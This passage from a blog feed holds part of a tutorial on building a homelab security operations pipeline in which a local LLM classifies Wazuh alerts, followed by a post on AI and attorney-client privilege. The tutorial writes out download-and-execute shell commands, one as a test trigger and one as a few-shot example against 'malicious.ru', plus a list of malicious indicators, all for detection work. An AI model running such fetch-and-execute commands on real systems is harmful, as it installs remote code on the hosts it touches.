  <li>If <code class="language-plaintext highlighter-rouge">confidence_score &gt;= 80</code> AND <code class="language-plaintext highlighter-rouge">verdict == "suspicious"</code>: Route to “Alert Human”</li>
  <li>If <code class="language-plaintext highlighter-rouge">confidence_score &lt; 80</code>: Route to “Escalate to Human”</li>
</ul>

<ol>
  <li><strong>For now, add HTTP Request nodes</strong> to log the output:
    <ul>
      <li><strong>Auto-Block branch:</strong> POST to a test endpoint (we’ll replace this with Wazuh API calls in Part 4)</li>
      <li><strong>Alert Human branch:</strong> POST to Telegram webhook</li>
      <li><strong>Escalate branch:</strong> POST to Telegram webhook with “low confidence” flag</li>
    </ul>
  </li>
</ol>

<h3 id="testing-the-ai-analysis">Testing the AI Analysis</h3>

<p>Trigger an alert from Part 2:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On a monitored host, execute a suspicious command</span>
curl http://192.168.1.100:8080/fake-payload.sh | bash
</code></pre></div></div>

<p>Watch the n8n workflow:</p>
<ol>
  <li>Webhook receives Wazuh alert</li>
  <li>Severity check routes to Ollama</li>
  <li>Ollama analyzes the command</li>
  <li>Response is parsed and routed by confidence score</li>
</ol>

<p>Check your Telegram: you should receive a message with:</p>
<ul>
  <li>Verdict</li>
  <li>Confidence score</li>
  <li>Reasoning</li>
  <li>The original alert data</li>
</ul>

<h2 id="prompt-tuning-making-the-model-smarter">Prompt Tuning: Making the Model Smarter</h2>

<p>The system prompt above is generic. For better results, tune it with domain-specific knowledge.</p>

<h3 id="technique-1-add-known-good-patterns">Technique 1: Add Known-Good Patterns</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>KNOWN BENIGN PATTERNS:
- apt/yum/dnf package managers downloading from official repositories
- curl/wget downloading from github.com, pypi.org, npmjs.com
- Scripts run by root from /etc/cron.daily or /etc/cron.weekly
- SSH connections from known admin IP ranges: 192.168.1.0/24, 10.0.0.0/8
</code></pre></div></div>

<h3 id="technique-2-add-known-bad-indicators">Technique 2: Add Known-Bad Indicators</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HIGH-CONFIDENCE MALICIOUS INDICATORS:
- Base64-encoded commands in bash/powershell
- curl | bash from unknown domains
- Scripts spawned by www-data, nginx, apache2
- Connections to Tor exit nodes or known C2 infrastructure
- PowerShell -EncodedCommand or -WindowStyle Hidden
</code></pre></div></div>

<h3 id="technique-3-few-shot-examples">Technique 3: Few-Shot Examples</h3>

<p>Include 2-3 examples of past alerts with correct verdicts:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EXAMPLE 1:
Input: {"process": "bash", "cmdline": "echo 'test' &gt; /tmp/file.txt", "user": "admin"}
Output: {"verdict": "benign", "confidence_score": 95, "reasoning": "Simple file write by admin user"}

EXAMPLE 2:
Input: {"process": "bash", "cmdline": "wget http://malicious.ru/bot.sh &amp;&amp; chmod +x bot.sh &amp;&amp; ./bot.sh", "user": "www-data"}
Output: {"verdict": "malicious", "confidence_score": 98, "reasoning": "Web server user downloading and executing remote script"}
</code></pre></div></div>

<p>This trains the model’s in-context learning.</p>

<h2 id="model-selection-llama-3-vs-mistral-vs-qwen">Model Selection: Llama-3 vs Mistral vs Qwen</h2>

<p>Different models have different strengths for security analysis.</p>

<table>
  <thead>
    <tr>
      <th>Model</th>
      <th>Size</th>
      <th>VRAM</th>
      <th>Strengths</th>
      <th>Weaknesses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Llama-3 8B</strong></td>
      <td>8B params</td>
      <td>~6GB</td>
      <td>Best general reasoning, good at structured output</td>
      <td>Slower inference (~2-3s)</td>
    </tr>
    <tr>
      <td><strong>Mistral 7B</strong></td>
      <td>7B params</td>
      <td>~5GB</td>
      <td>Fast inference (~1-2s), decent reasoning</td>
      <td>Occasionally ignores JSON format instructions</td>
    </tr>
    <tr>
      <td><strong>Qwen-2.5 7B</strong></td>
      <td>7B params</td>
      <td>~5GB</td>
      <td>Excellent at following instructions, fast</td>
      <td>Less common, smaller community</td>
    </tr>
  </tbody>
</table>

<p>For this homelab SOC, I recommend <strong>Llama-3 8B</strong>. It’s the most reliable for structured JSON output.</p>

<p>To switch models:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Pull a different model</span>
ollama pull mistral:7b

<span class="c"># Update the n8n HTTP Request node to use "mistral:7b" instead of "llama3:8b"</span>
</code></pre></div></div>

<h2 id="whats-next">What’s Next?</h2>

<p>In <strong>Part 4: Automation &amp; The Confidence Threshold</strong>, we’ll:</p>
<ul>
  <li>Write SOAR playbooks that act on the AI’s verdicts</li>
  <li>Implement auto-response via the Wazuh API (isolate hosts, kill processes)</li>
  <li>Build Telegram alerting with inline action buttons (“Block this IP” / “Whitelist”)</li>
  <li>Discuss adversarial testing: can we trick the model into misclassifying malicious activity?</li>
</ul>

<p><strong>Key takeaway:</strong> The confidence score is the most important field in the LLM’s response. Treat it as a routing signal, not noise.</p>

<hr />

<p><strong>Struggling with GPU pass-through or getting garbage JSON from your LLM?</strong> I’m on <a href="https://www.linkedin.com/in/eran-goldman/">LinkedIn</a>. Let’s debug together.</p>

<hr />

<h3 id="references">References</h3>

<ul>
  <li><a href="https://ollama.ai/docs">Ollama Documentation</a></li>
  <li><a href="https://pve.proxmox.com/wiki/PCI_Passthrough">Proxmox GPU Passthrough Guide</a></li>
  <li><a href="https://wiki.archlinux.org/title/PCI_passthrough_via_OVMF#%22Error_43:_Driver_failed_to_load%22_with_mobile_(Optimus/max-q)_nvidia_GPUs">NVIDIA VFIO Error 43 Fix</a></li>
  <li><a href="https://attack.mitre.org/">MITRE ATT&amp;CK Framework</a></li>
  <li><a href="https://platform.openai.com/docs/guides/structured-outputs">Prompt Engineering for Structured Output</a></li>
</ul>]]></content><author><name>Eran Goldman-Malka</name></author><category term="Security" /><category term="Homelab" /><category term="AI" /><category term="SOC" /><category term="AI" /><category term="LLM" /><category term="Ollama" /><category term="prompt engineering" /><category term="detection engineering" /><category term="GPU passthrough" /><summary type="html"><![CDATA[Time to teach a language model the difference between curl https://example.com and curl https://sketchy-c2-server.ru | bash. Spoiler: it’s all in the prompt.]]></summary></entry><entry><title type="html">Legal Basis: What AI Can and Cannot Do</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/legal-basis-what-ai-can-and-cannot-do/" rel="alternate" type="text/html" title="Legal Basis: What AI Can and Cannot Do" /><published>2026-07-02T06:00:00+00:00</published><updated>2026-07-02T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/legal-basis-what-ai-can-and-cannot-do</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/legal-basis-what-ai-can-and-cannot-do/"><![CDATA[<p>An AI can help you think about law, but it does not become your lawyer just because you asked it a legal question.</p>

<!--more-->

<h2 id="the-boundary-between-legal-information-and-legal-advice">The Boundary Between “Legal Information” and “Legal Advice”</h2>

<p>AI can do many things: it can summarize documents, explain legal concepts, draft first-pass text, and spot issues. But it cannot replace licensed legal advice.</p>

<p><strong>Legal information</strong> is general: “What does GDPR Article 6 say?” or “What are the typical elements of a breach-of-contract claim?” This is the kind of work that legal encyclopedias, textbooks, and research platforms have always done—and AI can do it faster.</p>

<p><strong>Legal advice</strong> is specific, strategic, and tailored to your facts: “Should we disclose this incident to our regulator?” or “Does our contract language protect us if the vendor fails?” Legal advice requires professional judgment, accountability, and usually a lawyer-client relationship.</p>

<h2 id="privilege-depends-on-the-relationship-not-the-tool">Privilege Depends on the Relationship, Not the Tool</h2>

<p>Attorney-client privilege protects confidential communications between a client and a lawyer, made for the purpose of obtaining or providing legal advice. It does not matter how “smart” the tool is. What matters is:</p>

<ol>
  <li><strong>Is the communication with a lawyer?</strong> AI is not a lawyer.</li>
  <li><strong>Is the communication confidential?</strong> If you input sensitive facts into a consumer AI platform, the platform’s terms may say your input is not confidential.</li>
  <li><strong>Is the purpose to obtain legal advice?</strong> If you are using AI to brainstorm or draft, that is useful, but it is not the same as consulting counsel.</li>
</ol>

<p>In the recent case <em>United States v. Heppner</em> (S.D.N.Y., February 2026), a federal judge ruled that a defendant’s interactions with a public AI platform (Claude) were <strong>not protected by attorney-client privilege</strong>—even though the defendant later shared the AI outputs with his lawyers. The court emphasized that privilege requires a confidential communication with counsel, and that did not exist here.</p>

<h2 id="what-this-means-for-boards-and-executives">What This Means for Boards and Executives</h2>

<p>If you use AI to think about legal questions, that can be valuable. But:</p>

<ul>
  <li><strong>Do not assume your prompts are confidential.</strong> Check the platform’s terms. Consumer tools often say user inputs are not confidential and may be used to train the model.</li>
  <li><strong>Do not assume privilege.</strong> If you need privileged advice, talk to a lawyer. If you need brainstorming or issue-spotting help, AI can do that—but do not confuse the two.</li>
  <li><strong>Do not rely on AI for final legal judgment.</strong> AI can draft, summarize, and explain, but it cannot assess risk, weigh trade-offs, or take professional responsibility for the advice.</li>
</ul>

<h2 id="three-questions-for-oversight">Three Questions for Oversight</h2>

<ol>
  <li><strong>Inventory</strong>: Where in the organization are people using AI for legal research, contract drafting, or compliance work?</li>
  <li><strong>Guardrails</strong>: Do we have a policy that defines safe use (e.g., no privileged facts, no client names, no litigation strategy into consumer tools)?</li>
  <li><strong>Verification</strong>: For any AI-assisted legal output, who is responsible for verifying accuracy and completeness?</li>
</ol>

<hr />

<p><strong>Do you use AI for legal research, drafting, or risk screening?</strong> I deliver board-level courses and consult on AI strategy, governance, and legal risk. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>United States v. Heppner, No. 1:25-cr-00503-JSR, Order (S.D.N.Y. Feb. 17, 2026)</strong> — U.S. District Court, Southern District of New York — <a href="https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf">https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf</a></li>
  <li><strong>The Intersection of AI and Attorney-Client Privilege—A Cautionary Tale</strong> — Ogletree Deakins — <a href="https://ogletree.com/insights-resources/blog-posts/the-intersection-of-ai-and-attorney-client-privilege-a-cautionary-tale/">https://ogletree.com/insights-resources/blog-posts/the-intersection-of-ai-and-attorney-client-privilege-a-cautionary-tale/</a></li>
  <li><strong>Your AI Conversations Are Not Privileged: What a New SDNY Ruling Means for Every Lawyer and Client</strong> — Jones Walker LLP — <a href="https://www.joneswalker.com/en/insights/blogs/ai-law-blog/your-ai-conversations-are-not-privileged-what-a-new-sdny-ruling-means-for-every.html">https://www.joneswalker.com/en/insights/blogs/ai-law-blog/your-ai-conversations-are-not-privileged-what-a-new-sdny-ruling-means-for-every.html</a></li>
  <li><strong>AI, Privilege, and the Heppner Ruling: What the Court Actually Held—And How to Structure AI Use Safely</strong> — Venable LLP — <a href="https://www.venable.com/insights/publications/2026/02/ai-privilege-and-the-heppner-ruling-what-the-court">https://www.venable.com/insights/publications/2026/02/ai-privilege-and-the-heppner-ruling-what-the-court</a></li>
  <li><strong>Use of Generative AI in the Law: Lessons from Two Federal Cases</strong> — American Bar Association — <a href="https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/">https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI" /><category term="legal advice" /><category term="legal information" /><category term="attorney-client privilege" /><category term="legal technology" /><category term="compliance" /><category term="governance" /><summary type="html"><![CDATA[An AI can help you think about law, but it does not become your lawyer just because you asked it a legal question.]]></summary></entry></feed>